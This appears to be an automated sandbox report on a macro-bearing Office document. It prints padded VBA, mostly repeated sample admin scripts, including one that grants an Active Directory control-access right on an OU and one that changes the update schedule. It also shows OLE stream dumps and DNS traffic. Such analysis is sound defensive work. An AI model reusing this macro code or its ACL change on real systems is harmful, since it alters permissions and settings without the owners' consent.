Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Const ForReading = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" &  "DhcpSrvLog-Mon.log", ForReading)

Wscript.Echo vbCrLf & "DHCP Records"

Do While objtextFile.AtEndOfStream <> True
  strLine = objtextFile.ReadLine
  If InStr(strLine, ",") Then
    arrDHCPRecord = Split(strLine, ",")
    Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
    Wscript.Echo "Date: " & arrDHCPRecord(1)
    Wscript.Echo "Time: " & arrDHCPRecord(2)
    Wscript.Echo "Description: " & arrDHCPRecord(3)
    Wscript.Echo "IP Address: " & arrDHCPRecord(4)
    Wscript.Echo "Host Name: " & arrDHCPRecord(5)
    Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
    i = i + 1
  End If
Loop

Wscript.Echo vbCrLf & "Number of DHCP records read: " & i








End Sub


Private Sub maisLixo()





' Delegate the Allowed to Authenticate Extended Right for an Entire OU


Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5
Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1
Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2
Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100
Const ADS_ACEFLAG_INHERIT_ACE = &H2

Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")
Set objSD = objSDUtil.Get("ntSecurityDescriptor")
Set objDacl = objSD.DiscretionaryAcl

Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = "FABRIKAM\kmyer"
objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE
objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT
objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT
objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl

objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo




' List SFU Domain Information


On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:"     & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

Set colItems = objWMIService.ExecQuery     ("Select * from SFU_Domain")

For Each objItem In colItems
    Wscript.Echo "DC: " & objItem.DC
    Wscript.Echo "Default: " & objItem.Default
    Wscript.Echo "Domain: " & objItem.Domain
    Wscript.Echo "Key Name: " & objItem.KeyName
    Wscript.Echo "Maps: " & objItem.Maps
    Wscript.Echo
Next
' Modify the Update Schedule


Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")
Set objSettings = objAutoUpdate.Settings

objSettings.ScheduledInstallationDay = 3
objSettings.ScheduledInstallationTime = 4

objSettings.Save



' List Domain Information Using WMI


On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:"     & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

For Each objItem In colItems
    Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
    Wscript.Echo "DC Site Name: " & objItem.DcSiteName
    Wscript.Echo "Description: " & objItem.Description
    Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
    Wscript.Echo "Domain Controller Address: " &         objItem.DomainControllerAddress
    Wscript.Echo "Domain Controller Address Type: " &         objItem.DomainControllerAddressType
    Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
    Wscript.Echo "Domain GUID: " & objItem.DomainGuid
    Wscript.Echo "Domain Name: " & objItem.DomainName
    Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
    Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
    Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
    Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
    Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
    Wscript.Echo "DS Kerberos Distribution Center Flag: " &         objItem.DSKerberosDistributionCenterFlag
    Wscript.Echo "DS Primary Domain Controller Flag: " &         objItem.DSPrimaryDomainControllerFlag
    Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
    Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
    Wscript.Echo "Name: " & objItem.Name
    Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
    Wscript.Echo
Next





Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5
Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1
Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2
Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100
Const ADS_ACEFLAG_INHERIT_ACE = &H2

Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")
Set objSD = objSDUtil.Get("ntSecurityDescriptor")
Set objDacl = objSD.DiscretionaryAcl

Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = "FABRIKAM\kmyer"
objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE
objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT
objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT
objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl

objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo




' List SFU Domain Information


On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:"     & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

Set colItems = objWMIService.ExecQuery     ("Select * from SFU_Domain")

For Each objItem In colItems
    Wscript.Echo "DC: " & objItem.DC
    Wscript.Echo "Default: " & objItem.Default
    Wscript.Echo "Domain: " & objItem.Domain
    Wscript.Echo "Key Name: " & objItem.KeyName
    Wscript.Echo "Maps: " & objItem.Maps
    Wscript.Echo
Next
' Modify the Update Schedule


Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")
Set objSettings = objAutoUpdate.Settings

objSettings.ScheduledInstallationDay = 3
objSettings.ScheduledInstallationTime = 4

objSettings.Save



' List Domain Information Using WMI


On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:"     & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

For Each objItem In colItems
    Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
    Wscript.Echo "DC Site Name: " & objItem.DcSiteName
    Wscript.Echo "Description: " & objItem.Description
    Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
    Wscript.Echo "Domain Controller Address: " &         objItem.DomainControllerAddress
    Wscript.Echo "Domain Controller Address Type: " &         objItem.DomainControllerAddressType
    Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
    Wscript.Echo "Domain GUID: " & objItem.DomainGuid
    Wscript.Echo "Domain Name: " & objItem.DomainName
    Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
    Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
    Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
    Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
    Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
    Wscript.Echo "DS Kerberos Distribution Center Flag: " &         objItem.DSKerberosDistributionCenterFlag
    Wscript.Echo "DS Primary Domain Controller Flag: " &         objItem.DSPrimaryDomainControllerFlag
    Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
    Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
    Wscript.Echo "Name: " & objItem.Name
    Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
    Wscript.Echo
Next






Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5
Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1
Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2
Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100
Const ADS_ACEFLAG_INHERIT_ACE = &H2

Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")
Set objSD = objSDUtil.Get("ntSecurityDescriptor")
Set objDacl = objSD.DiscretionaryAcl

Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = "FABRIKAM\kmyer"
objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE
objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT
objAce.Flags = AD

                                                                                                                                                      Streams

                                                                                                                                                      Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 375
                                                                                                                                                      General
                                                                                                                                                      Stream Path:PROJECT
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Stream Size:375
                                                                                                                                                      Entropy:5.33453038431
                                                                                                                                                      Base64 Encoded:True
                                                                                                                                                      Data ASCII:I D = " { 4 B 2 8 A 7 6 7 - B 5 4 8 - 4 D 2 4 - A 9 8 A - 1 4 F C 9 1 C 9 5 E 7 6 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 1 E 1 C F E E 2 0 2 1 E 2 4 2 2 2 4 2 2 2 4 2 2 2 4 2 2 " . . D P B = " 3 C 3 E D C 0 0 E 4 1 F E 5 1 F E 5 1 F " . . G C = " 5 A 5 8 B A 2 6 D 9 2 7 D 9 2 7 2 6 " . . . . [ H o s t E x t e n d e r I n f
                                                                                                                                                      Data Raw:49 44 3d 22 7b 34 42 32 38 41 37 36 37 2d 42 35 34 38 2d 34 44 32 34 2d 41 39 38 41 2d 31 34 46 43 39 31 43 39 35 45 37 36 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69
                                                                                                                                                      Stream Path: PROJECTwm, File Type: data, Stream Size: 41
                                                                                                                                                      General
                                                                                                                                                      Stream Path:PROJECTwm
                                                                                                                                                      File Type:data
                                                                                                                                                      Stream Size:41
                                                                                                                                                      Entropy:3.07738448508
                                                                                                                                                      Base64 Encoded:False
                                                                                                                                                      Data ASCII:T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
                                                                                                                                                      Data Raw:54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00
                                                                                                                                                      Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 7060
                                                                                                                                                      General
                                                                                                                                                      Stream Path:VBA/_VBA_PROJECT
                                                                                                                                                      File Type:data
                                                                                                                                                      Stream Size:7060
                                                                                                                                                      Entropy:5.55925901598
                                                                                                                                                      Base64 Encoded:True
                                                                                                                                                      Data ASCII:. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . . ( . x . 8 . 6 . ) . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . .
                                                                                                                                                      Data Raw:cc 61 af 00 00 01 00 ff 16 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 2c 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                                                                                                                                                      Stream Path: VBA/dir, File Type: VAX-order 68K Blit (standalone) executable, Stream Size: 523
                                                                                                                                                      General
                                                                                                                                                      Stream Path:VBA/dir
                                                                                                                                                      File Type:VAX-order 68K Blit (standalone) executable
                                                                                                                                                      Stream Size:523
                                                                                                                                                      Entropy:6.29824308961
                                                                                                                                                      Base64 Encoded:True
                                                                                                                                                      Data ASCII:. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . 0 . . a . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E N o r m a l . . E N . C r . m . a Q . F . . . . . . . * . \\ C . . . . . . . a .
                                                                                                                                                      Data Raw:01 07 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 30 93 d7 61 02 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

                                                                                                                                                      Network Behavior

                                                                                                                                                      Network Port Distribution

                                                                                                                                                      UDP Packets

                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                      Dec 27, 2020 09:04:57.501292944 CET6418553192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:04:57.557514906 CET53641858.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:04:58.462955952 CET6511053192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:04:58.510943890 CET53651108.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:00.351908922 CET5836153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:00.399971008 CET53583618.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:01.349952936 CET6349253192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:01.409199953 CET53634928.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:02.357498884 CET6083153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:02.408379078 CET53608318.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:03.548280001 CET6010053192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:03.599301100 CET53601008.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:04.083897114 CET5319553192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:04.142157078 CET53531958.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:04.665739059 CET5014153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:04.746326923 CET53501418.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:05.675348043 CET5014153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:05.736268997 CET53501418.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:05.939738989 CET5302353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:05.987751007 CET53530238.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:06.675348997 CET5014153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:06.734536886 CET53501418.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:06.918668032 CET4956353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:06.966662884 CET53495638.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:07.883820057 CET5135253192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:07.931938887 CET53513528.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:08.699075937 CET5014153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:08.758399010 CET53501418.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:08.871206045 CET5934953192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:08.927510977 CET53593498.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:09.908705950 CET5708453192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:09.956603050 CET53570848.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:12.348119974 CET5882353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:12.396107912 CET53588238.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:12.708048105 CET5014153192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:12.767544985 CET53501418.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:13.110593081 CET5756853192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:13.158530951 CET53575688.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:13.976516008 CET5054053192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:14.035629988 CET53505408.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:25.757175922 CET5436653192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:25.805228949 CET53543668.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:32.736511946 CET5303453192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:32.801937103 CET53530348.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:33.105364084 CET5776253192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:33.165462971 CET53577628.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:45.818533897 CET5543553192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:45.866543055 CET53554358.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:05:47.839067936 CET5071353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:05:47.898080111 CET53507138.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:06:01.358840942 CET5613253192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:06:01.409641027 CET53561328.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:06:04.645646095 CET5898753192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:06:04.703567982 CET53589878.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:06:36.371282101 CET5657953192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:06:36.419629097 CET53565798.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:06:37.709011078 CET6063353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:06:37.780196905 CET53606338.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:48.358314037 CET6129253192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:48.433207035 CET53612928.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:49.017365932 CET6361953192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:49.073883057 CET53636198.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:49.616621017 CET6493853192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:49.675379992 CET53649388.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:50.134228945 CET6194653192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:50.193504095 CET53619468.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:50.661577940 CET6491053192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:50.719871998 CET53649108.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:51.295795918 CET5212353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:51.355524063 CET53521238.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:52.282711983 CET5613053192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:52.342207909 CET53561308.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:53.083095074 CET5633853192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:53.139586926 CET53563388.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:54.364417076 CET5942053192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:54.420855999 CET53594208.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:07:54.877176046 CET5878453192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:07:54.933758974 CET53587848.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:09:26.933121920 CET6397853192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:09:26.992784023 CET53639788.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:09:48.236224890 CET6293853192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:09:48.295532942 CET53629388.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:09:48.874748945 CET5570853192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:09:48.939668894 CET53557088.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:09:52.233355999 CET5680353192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:09:52.304577112 CET53568038.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:09:55.884567022 CET5714553192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:09:55.941106081 CET53571458.8.8.8192.168.2.3
                                                                                                                                                      Dec 27, 2020 09:09:56.410672903 CET5535953192.168.2.38.8.8.8
                                                                                                                                                      Dec 27, 2020 09:09:56.469995975 CET53553598.8.8.8192.168.2.3

                                                                                                                                                      DNS Answers

                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                      Dec 27, 2020 09:09:48.295532942 CET8.8.8.8192.168.2.30xf21cNo error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.trafficmanager.netCNAME (Canonical name)IN (0x0001)

                                                                                                                                                      Code Manipulations

                                                                                                                                                      Statistics

                                                                                                                                                      CPU Usage

                                                                                                                                                      Click to jump to process

                                                                                                                                                      Memory Usage

                                                                                                                                                      Click to jump to process

                                                                                                                                                      High Level Behavior Distribution

                                                                                                                                                      Click to dive into process behavior distribution

